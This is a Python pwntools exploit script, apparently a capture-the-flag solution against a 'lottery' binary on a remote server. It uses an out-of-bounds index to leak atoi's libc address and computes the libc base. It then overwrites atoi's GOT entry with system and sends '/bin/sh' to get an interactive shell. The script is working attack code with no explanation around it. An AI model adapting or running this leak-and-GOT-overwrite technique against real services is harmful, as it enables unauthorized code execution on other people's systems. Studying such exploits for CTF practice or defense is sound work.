exploit.py

from pwn import *

elf  = ELF('./lottery_main_patched')
local = False
HOST = '34.253.120.147'
PORT = 2324

context.terminal = ['tmux', 'sp', '-h']

if local == False:
	libc = ELF('./libc-2.24-level1.so', checksec=False)
	io = remote(HOST, PORT)
else:
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
	io = process(elf.path)

def leak():
	io.sendline('2')
	io.sendlineafter('show:', '-11')
	io.recvuntil('number: ')
	lower_half = int(io.recvuntil('\n', drop=True))
	io.recvuntil('tickets: ')
	higher_half = int(io.recvuntil('\n', drop=True))
	higher_half = higher_half << (4 * (len(hex(lower_half)) - 2))
	io.recvuntil('option>')

	return higher_half + lower_half

def write(what, where):
	io.sendline('1')
	io.sendlineafter('edit:', str(int(where)))
	io.sendlineafter('number:', str(int(what & 0x00000000ffffffff)))
	io.sendlineafter('bought:', str(int(what & 0xffffffff00000000) >> 4 * 8))
	io.sendlineafter('option>', '/bin/sh')

leaked_atoi = leak()
libc.address = leaked_atoi - libc.sym['atoi']

log.success('Leaked atoi@@GLIBC address: ' + hex(leaked_atoi))
log.info('GLIBC base address: ' + hex(libc.address))
log.info('System@@GLIBC address: ' + hex(libc.sym['system']))

write(libc.sym['system'], -11)
io.recv()

io.interactive()
io.close()